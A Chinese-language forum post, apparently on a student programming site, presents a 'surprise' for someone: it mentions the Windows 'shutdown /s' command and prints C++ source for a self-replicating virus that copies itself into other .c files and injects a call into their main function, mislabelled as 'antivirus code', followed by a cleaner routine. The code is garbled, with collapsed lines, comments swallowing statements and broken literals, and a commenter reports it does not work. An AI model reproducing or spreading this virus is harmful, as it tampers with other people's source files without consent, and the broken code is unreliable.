- 题解
关于潘潘的惊喜
- 2023-8-9 20:02:58 @
shutdown/s的意思是关机,当然我也有对策:加上这个就不会关机了“shutdown /a”,代表取消关机;
这是我准备的惊喜:
下面有杀毒程序代码
#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
void vir()
{
string CurFileName = FILE;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(".c", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码
int CodeLen = 0;//病毒代码长度 int FileLen = 0;//宿主代码长度
//病毒函数调用应当插在"main("后面的第一个"{"后面 //在C++中main有int main(),int main(int arg,char **r)等形式 int InsertLoc = 0;
//提取待传播的当前文件中的病毒代码 ifstream VirusFile(obCurFileName.c_str()); for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++) { if(VirusCode[CodeLen] == "//END") { CodeLen++; break; } } VirusFile.close(); //依次感染宿主文件 while (true) { //不能感染当前.cpp文件和已感染的文件 if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0) { cout<<FindFileData.cFileName<<":是感染源!/n"; } else//感染其它文件 { //加载宿主文件 ifstream ibe(FindFileData.cFileName); for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++) { if (FileCode[FileLen].find("main") != -1) { InsertLoc = FileLen; } } ibe.close(); if(FileCode[0] == "//START")//该文件已被感染 { cout<<FindFileData.cFileName<<":已携带了病毒!/n"; } else if (FileLen > 500) { cout<<FindFileData.cFileName<<":文件太大了!/n"; } else { //打开宿主文件 ofstream be(FindFileData.cFileName); //插入病毒代码 for(int i = 0;i < CodeLen;i++) { be<<VirusCode[i]<<endl; } //病毒函数调用位置前文本插入 for(int i = 0;i < InsertLoc;i++) { be<<FileCode[i]<<endl; } //插入函数调用vir() for(int i = InsertLoc;i < FileLen;i++) { int j = FileCode[i].find('{'); if(j != -1) { FileCode[i].insert(j + 1,"/nvir();"); break; } } //病毒函数调用位置后插入剩余文本 for(int i = InsertLoc;i < FileLen;i++) { be<<FileCode[i]<<endl; } be.close(); cout<<FindFileData.cFileName<<":感染成功!/n"; } } if (FindNextFile(hFind, &FindFileData) == false) break; } } //END int main() { vir(); return 0; } 杀毒程序代码 : //杀毒程序代码 #include <windows.h> #include <fstream> #include <string> #include <vector> #include <iostream> using namespace std; void revir() { WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile(".c", &FindFileData);
string FileCode[500];
//病毒函数调用应当插在"main"后面的第一个"{"后面 //在C++中main有int main(),int main(int arg,char **r)等形式 //依次清除宿主文件 while (true) { //加载文件 int FileLen = 0; //宿主代码长度 int MainLoc = 0; //主函数位置
ifstream ibe(FindFileData.cFileName); getline(ibe,FileCode[0]);
if(FileCode[0] == "//START")//当前文件被感染过 { //病毒代码要过虑掉 for(FileLen = 0;getline(ibe,FileCode[0]);) { if(FileCode[FileLen] == "//END") { break; } } //宿主未感染前的代码 for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++) { if(FileCode[FileLen].find("main") != -1) { MainLoc = FileLen; } }
//清除主文件中的函数调用
for (int i = MainLoc;i < FileLen;i++)
{
if(FileCode[i].find('{') != -1)
{
FileCode[i + 1] = "";
break;
}
}
ibe.close();
ofstream be(FindFileData.cFileName);
for(int i = 0;i < FileLen;i++)
{
be<<FileCode[i]<<endl;
}
be.close();
cout<<FindFileData.cFileName<<":病毒清除成功/n";
} cout<<FindFileData.cFileName<<":没有被感染!/n"; if (FindNextFile(hFind, &FindFileData) == false) break; } } int main() { revir(); return 0; }
1 comments
-
shenhongzhi-61 LV 7 @ 2023-8-11 14:01:00
怎么用不了
👍 2❤️ 2
- 1